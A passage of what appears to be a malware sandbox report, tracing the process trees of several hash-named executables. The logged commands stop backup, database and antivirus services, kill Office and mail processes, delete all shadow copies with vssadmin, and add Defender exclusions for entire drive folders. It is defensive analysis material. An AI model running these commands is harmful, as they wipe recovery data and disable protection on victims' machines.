      C:\Windows\system32\net1 stop "SQLAgent$PRACTTICEMGT" /y
      4⤵
      PID:6216
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$PROFXENGAGEMENT" /y
    3⤵
    PID:11480
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$PROFXENGAGEMENT" /y
      4⤵
      PID:11760
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$SBSMONITORING" /y
    3⤵
    PID:13540
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$SBSMONITORING" /y
      4⤵
      PID:6604
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$SHAREPOINT" /y
    3⤵
    PID:7188
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$SHAREPOINT" /y
      4⤵
      PID:12400
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$SQL_2008" /y
    3⤵
    PID:728
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$SQL_2008" /y
      4⤵
      PID:13576
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$SYSTEM_BGC" /y
    3⤵
    PID:3780
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$SYSTEM_BGC" /y
      4⤵
      PID:4132
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$TPS" /y
    3⤵
    PID:412
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$TPS" /y
      4⤵
      PID:6468
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$TPSAMA" /y
    3⤵
    PID:5128
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$TPSAMA" /y
      4⤵
      PID:8472
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$VEEAMSQL2008R2" /y
    3⤵
    PID:7572
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$VEEAMSQL2008R2" /y
      4⤵
      PID:8512
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$VEEAMSQL2012" /y
    3⤵
    PID:6836
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$VEEAMSQL2012" /y
      4⤵
      PID:8936
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLBrowser" /y
    3⤵
    PID:14076
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLBrowser" /y
      4⤵
      PID:3976
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLSafeOLRService" /y
    3⤵
    PID:9556
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLSafeOLRService" /y
      4⤵
      PID:4540
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLSERVERAGENT" /y
    3⤵
    PID:6852
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLSERVERAGENT" /y
      4⤵
      PID:1104
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLTELEMETRY" /y
    3⤵
    PID:9592
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLTELEMETRY" /y
      4⤵
      PID:13844
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLTELEMETRY$ECWDB2" /y
    3⤵
    PID:12088
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLTELEMETRY$ECWDB2" /y
      4⤵
      PID:4020
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLWriter" /y
    3⤵
    PID:13868
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLWriter" /y
      4⤵
      PID:10392
- - C:\Windows\SysWOW64\net.exe
    net stop "SstpSvc" /y
    3⤵
    PID:8772
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SstpSvc" /y
      4⤵
      PID:10868
- - C:\Windows\SysWOW64\net.exe
    net stop "svcGenericHost" /y
    3⤵
    PID:10648
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "svcGenericHost" /y
      4⤵
      PID:9440
- - C:\Windows\SysWOW64\net.exe
    net stop "swi_filter" /y
    3⤵
    PID:6228
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "swi_filter" /y
      4⤵
      PID:7032
- - C:\Windows\SysWOW64\net.exe
    net stop "swi_service" /y
    3⤵
    PID:11740
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "swi_service" /y
      4⤵
      PID:9568
- - C:\Windows\SysWOW64\net.exe
    net stop "swi_update_64" /y
    3⤵
    PID:5740
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "swi_update_64" /y
      4⤵
      PID:5960
- - C:\Windows\SysWOW64\net.exe
    net stop "TmCCSF" /y
    3⤵
    PID:9908
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "TmCCSF" /y
      4⤵
      PID:11948
- - C:\Windows\SysWOW64\net.exe
    net stop "tmlisten" /y
    3⤵
    PID:11036
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "tmlisten" /y
      4⤵
      PID:10292
- - C:\Windows\SysWOW64\net.exe
    net stop "TrueKey" /y
    3⤵
    PID:11252
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "TrueKey" /y
      4⤵
      PID:6124
- - C:\Windows\SysWOW64\net.exe
    net stop "TrueKeyScheduler" /y
    3⤵
    PID:5640
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "TrueKeyScheduler" /y
      4⤵
      PID:11880
- - C:\Windows\SysWOW64\net.exe
    net stop "TrueKeyServiceHelper" /y
    3⤵
    PID:9732
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "TrueKeyServiceHelper" /y
      4⤵
      PID:6104
- - C:\Windows\SysWOW64\net.exe
    net stop "UI0Detect" /y
    3⤵
    PID:1944
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "UI0Detect" /y
      4⤵
      PID:12268
- - C:\Windows\SysWOW64\net.exe
    net stop "VeeamBackupSvc" /y
    3⤵
    PID:2680
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "VeeamBackupSvc" /y
      4⤵
      PID:9860
- - C:\Windows\SysWOW64\net.exe
    net stop "VeeamBrokerSvc" /y
    3⤵
    PID:10332
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "VeeamBrokerSvc" /y
      4⤵
      PID:8076
- - C:\Windows\SysWOW64\net.exe
    net stop "VeeamCatalogSvc" /y
    3⤵
    PID:8016
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "VeeamCatalogSvc" /y
      4⤵
      PID:10576
- - C:\Windows\SysWOW64\net.exe
    net stop "VeeamCloudSvc" /y
    3⤵
    PID:9208
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "VeeamCloudSvc" /y
      4⤵
      PID:8916
- - C:\Windows\SysWOW64\net.exe
    net stop "VeeamDeploymentService" /y
    3⤵
    PID:8600
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "VeeamDeploymentService" /y
      4⤵
      PID:2424
- - C:\Windows\SysWOW64\net.exe
    net stop "VeeamDeploySvc" /y
    3⤵
    PID:12820
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "VeeamDeploySvc" /y
      4⤵
      PID:13856
- - C:\Windows\SysWOW64\net.exe
    net stop "VeeamEnterpriseManagerSvc" /y
    3⤵
    PID:4488
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "VeeamEnterpriseManagerSvc" /y
      4⤵
      PID:6540
- - C:\Windows\SysWOW64\net.exe
    net stop "VeeamMountSvc" /y
    3⤵
    PID:4356
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "VeeamMountSvc" /y
      4⤵
      PID:13860
- - C:\Windows\SysWOW64\net.exe
    net stop "VeeamNFSSvc" /y
    3⤵
    PID:12876
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "VeeamNFSSvc" /y
      4⤵
      PID:9396
- - C:\Windows\SysWOW64\net.exe
    net stop "VeeamRESTSvc" /y
    3⤵
    PID:11944
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "VeeamRESTSvc" /y
      4⤵
      PID:7352
- - C:\Windows\SysWOW64\net.exe
    net stop "VeeamTransportSvc" /y
    3⤵
    PID:4948
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "VeeamTransportSvc" /y
      4⤵
      PID:10044
- - C:\Windows\SysWOW64\net.exe
    net stop "W3Svc" /y
    3⤵
    PID:9884
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "W3Svc" /y
      4⤵
      PID:11292
- - C:\Windows\SysWOW64\net.exe
    net stop "wbengine" /y
    3⤵
    PID:4952
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "wbengine" /y
      4⤵
      PID:10096
- - C:\Windows\SysWOW64\net.exe
    net stop "WRSVC" /y
    3⤵
    PID:6348
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "WRSVC" /y
      4⤵
      PID:396
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$VEEAMSQL2008R2" /y
    3⤵
    PID:6196
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$VEEAMSQL2008R2" /y
      4⤵
      PID:7508
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$VEEAMSQL2008R2" /y
    3⤵
    PID:3908
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$VEEAMSQL2008R2" /y
      4⤵
      PID:3336
- - C:\Windows\SysWOW64\net.exe
    net stop "VeeamHvIntegrationSvc" /y
    3⤵
    PID:11800
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "VeeamHvIntegrationSvc" /y
      4⤵
      PID:8468
- - C:\Windows\SysWOW64\net.exe
    net stop "swi_update" /y
    3⤵
    PID:8364
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "swi_update" /y
      4⤵
      PID:12888
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$CXDB" /y
    3⤵
    PID:2804
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$CXDB" /y
      4⤵
      PID:9472
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$CITRIX_METAFRAME" /y
    3⤵
    PID:6844
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$CITRIX_METAFRAME" /y
      4⤵
      PID:11812
- - C:\Windows\SysWOW64\net.exe
    net stop "SQL Backups" /y
    3⤵
    PID:11432
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQL Backups" /y
      4⤵
      PID:8604
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$PROD" /y
    3⤵
    PID:10708
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$PROD" /y
      4⤵
      PID:10432
- - C:\Windows\SysWOW64\net.exe
    net stop "Zoolz 2 Service" /y
    3⤵
    PID:8832
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Zoolz 2 Service" /y
      4⤵
      PID:8136
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLServerADHelper" /y
    3⤵
    PID:10484
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLServerADHelper" /y
      4⤵
      PID:9876
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$PROD" /y
    3⤵
    PID:4188
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$PROD" /y
      4⤵
      PID:14136
- - C:\Windows\SysWOW64\net.exe
    net stop "msftesql$PROD" /y
    3⤵
    PID:12480
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "msftesql$PROD" /y
      4⤵
      PID:7924
- - C:\Windows\SysWOW64\net.exe
    net stop "NetMsmqActivator" /y
    3⤵
    PID:13408
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "NetMsmqActivator" /y
      4⤵
      PID:13960
- - C:\Windows\SysWOW64\net.exe
    net stop "EhttpSrv" /y
    3⤵
    PID:10408
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "EhttpSrv" /y
      4⤵
      PID:2416
- - C:\Windows\SysWOW64\net.exe
    net stop "ekrn" /y
    3⤵
    PID:12844
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "ekrn" /y
      4⤵
      PID:11224
- - C:\Windows\SysWOW64\net.exe
    net stop "ESHASRV" /y
    3⤵
    PID:2580
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "ESHASRV" /y
      4⤵
      PID:8236
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$SOPHOS" /y
    3⤵
    PID:14192
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$SOPHOS" /y
      4⤵
      PID:6704
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$SOPHOS" /y
    3⤵
    PID:9728
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$SOPHOS" /y
      4⤵
      PID:2624
- - C:\Windows\SysWOW64\net.exe
    net stop "AVP" /y
    3⤵
    PID:13696
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "AVP" /y
      4⤵
      PID:6500
- - C:\Windows\SysWOW64\net.exe
    net stop "klnagent" /y
    3⤵
    PID:7156
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "klnagent" /y
      4⤵
      PID:9864
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$SQLEXPRESS" /y
    3⤵
    PID:14144
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$SQLEXPRESS" /y
      4⤵
      PID:1304
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$SQLEXPRESS" /y
    3⤵
    PID:12296
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$SQLEXPRESS" /y
      4⤵
      PID:8428
- - C:\Windows\SysWOW64\net.exe
    net stop "wbengine" /y
    3⤵
    PID:788
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "wbengine" /y
      4⤵
      PID:6784
- - C:\Windows\SysWOW64\net.exe
    net stop "kavfsslp" /y
    3⤵
    PID:12648
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "kavfsslp" /y
      4⤵
      PID:13328
- - C:\Windows\SysWOW64\net.exe
    net stop "KAVFSGT" /y
    3⤵
    PID:12956
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "KAVFSGT" /y
      4⤵
      PID:11536
- - C:\Windows\SysWOW64\net.exe
    net stop "KAVFS" /y
    3⤵
    PID:6272
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "KAVFS" /y
      4⤵
      PID:8132
- - C:\Windows\SysWOW64\net.exe
    net stop "mfefire" /y
    3⤵
    PID:2792
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "mfefire" /y
      4⤵
      PID:3644
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM zoolz.exe /T
    3⤵
    - Kills process with taskkill
    PID:13480
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM agntsvc.exe /T
    3⤵
    - Kills process with taskkill
    PID:12392
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM dbeng50.exe /T
    3⤵
    - Kills process with taskkill
    PID:13668
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM dbsnmp.exe /T
    3⤵
    - Kills process with taskkill
    PID:1720
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM encsvc.exe /T
    3⤵
    - Kills process with taskkill
    PID:14072
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM excel.exe /T
    3⤵
    - Kills process with taskkill
    PID:5532
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM firefoxconfig.exe /T
    3⤵
    - Kills process with taskkill
    PID:11492
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM infopath.exe /T
    3⤵
    - Kills process with taskkill
    PID:11152
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM isqlplussvc.exe /T
    3⤵
    - Kills process with taskkill
    PID:13088
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM msaccess.exe /T
    3⤵
    - Kills process with taskkill
    PID:12760
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM msftesql.exe /T
    3⤵
    - Kills process with taskkill
    PID:7184
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM mspub.exe /T
    3⤵
    - Kills process with taskkill
    PID:8948
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM mydesktopqos.exe /T
    3⤵
    - Kills process with taskkill
    PID:3892
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM mydesktopservice.exe /T
    3⤵
    - Kills process with taskkill
    PID:11664
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM mysqld.exe /T
    3⤵
    - Kills process with taskkill
    PID:7164
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM mysqld-nt.exe /T
    3⤵
    - Kills process with taskkill
    PID:9672
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM mysqld-opt.exe /T
    3⤵
    - Kills process with taskkill
    PID:13996
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM ocautoupds.exe /T
    3⤵
    - Kills process with taskkill
    PID:6996
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM ocomm.exe /T
    3⤵
    - Kills process with taskkill
    PID:540
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM ocssd.exe /T
    3⤵
    - Kills process with taskkill
    PID:1604
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM onenote.exe /T
    3⤵
    - Kills process with taskkill
    PID:6644
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:11764
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM oracle.exe /T
    3⤵
    - Kills process with taskkill
    PID:5748
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM outlook.exe /T
    3⤵
    - Kills process with taskkill
    PID:7244
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM powerpnt.exe /T
    3⤵
    - Kills process with taskkill
    PID:8156
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM sqbcoreservice.exe /T
    3⤵
    - Kills process with taskkill
    PID:11176
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM sqlagent.exe /T
    3⤵
    - Kills process with taskkill
    PID:11940
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM sqlbrowser.exe /T
    3⤵
    - Kills process with taskkill
    PID:5712
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM sqlservr.exe /T
    3⤵
    - Kills process with taskkill
    PID:6364
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM sqlwriter.exe /T
    3⤵
    - Kills process with taskkill
    PID:9036
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM steam.exe /T
    3⤵
    - Kills process with taskkill
    PID:3512
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM synctime.exe /T
    3⤵
    - Kills process with taskkill
    PID:5616
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM tbirdconfig.exe /T
    3⤵
    - Kills process with taskkill
    PID:9492
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM thebat.exe /T
    3⤵
    - Kills process with taskkill
    PID:13940
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM thebat64.exe /T
    3⤵
    - Kills process with taskkill
    PID:13252
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM thunderbird.exe /T
    3⤵
    - Kills process with taskkill
    PID:5292
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM visio.exe /T
    3⤵
    - Kills process with taskkill
    PID:12636
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM winword.exe /T
    3⤵
    - Kills process with taskkill
    PID:13500
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM wordpad.exe /T
    3⤵
    - Kills process with taskkill
    PID:6796
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM xfssvccon.exe /T
    3⤵
    - Kills process with taskkill
    PID:11260
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM tmlisten.exe /T
    3⤵
    - Kills process with taskkill
    PID:10732
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM PccNTMon.exe /T
    3⤵
    - Kills process with taskkill
    PID:9824
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM CNTAoSMgr.exe /T
    3⤵
    - Kills process with taskkill
    PID:8040
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM Ntrtscan.exe /T
    3⤵
    - Kills process with taskkill
    PID:6828
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM mbamtray.exe /T
    3⤵
    - Kills process with taskkill
    PID:5048
- C:\Users\Admin\AppData\Local\Temp\3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
  "C:\Users\Admin\AppData\Local\Temp\3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Enumerates connected drives
  - Drops file in Windows directory
  - Suspicious use of WriteProcessMemory
  PID:4864
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c vssadmin.exe delete shadows /all /quiet
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3748
  - - C:\Windows\system32\vssadmin.exe
      vssadmin.exe delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:11672
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c vssadmin.exe delete shadows /all /quiet
    3⤵
    PID:5992
  - - C:\Windows\system32\vssadmin.exe
      vssadmin.exe delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:7940
- C:\Users\Admin\AppData\Local\Temp\4d5ecf3d1955458195771630f03f6ef42f5f62e66ed8e0681f8311d25aecc2bb.exe
  "C:\Users\Admin\AppData\Local\Temp\4d5ecf3d1955458195771630f03f6ef42f5f62e66ed8e0681f8311d25aecc2bb.exe"
  2⤵
  - Executes dropped EXE
  - Checks system information in the registry
  PID:3700
- C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
  "C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Drops file in Windows directory
  - Modifies registry class
  - Suspicious use of AdjustPrivilegeToken
  PID:3524
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Loads dropped DLL
    PID:8728
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Loads dropped DLL
    PID:13316
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Loads dropped DLL
    PID:12356
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Loads dropped DLL
    PID:12492
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Loads dropped DLL
    PID:13888
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Loads dropped DLL
    PID:11940
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Loads dropped DLL
    PID:11404
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Loads dropped DLL
    PID:12692
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Loads dropped DLL
    PID:8336
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Loads dropped DLL
    PID:14220
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Loads dropped DLL
    PID:8704
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Common Files\microsoft shared\ClickToRun\RuntimeBroker.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Loads dropped DLL
    PID:7268
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\9c65d850589e6ab34c6c8e65b8a3b4aa26fa913ca850472023a3b708f95c226b.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Loads dropped DLL
    PID:2224
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Mozilla Firefox\gmp-clearkey\6ca05da8350d9f5e5d3a7547c0d4693ebc1190e3b76f58f4196021d0c080c722.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Loads dropped DLL
    PID:6240
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\SKB\LanguageModels\59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Loads dropped DLL
    PID:7996
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\IME\IMEKR\DICTS\SppExtComObj.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Loads dropped DLL
    PID:8840
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Loads dropped DLL
    PID:6704
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\36MGWCbjwc.bat"
    3⤵
    PID:6968
  - - C:\Windows\system32\chcp.com
      chcp 65001
      4⤵
      PID:9312
  - - C:\Windows\system32\PING.EXE
      ping -n 10 localhost
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:4648
  - - C:\Windows\SKB\LanguageModels\59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad.exe
      "C:\Windows\SKB\LanguageModels\59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad.exe"
      4⤵
      PID:14212
- C:\Users\Admin\AppData\Local\Temp\6ca05da8350d9f5e5d3a7547c0d4693ebc1190e3b76f58f4196021d0c080c722.exe
  "C:\Users\Admin\AppData\Local\Temp\6ca05da8350d9f5e5d3a7547c0d4693ebc1190e3b76f58f4196021d0c080c722.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:3148
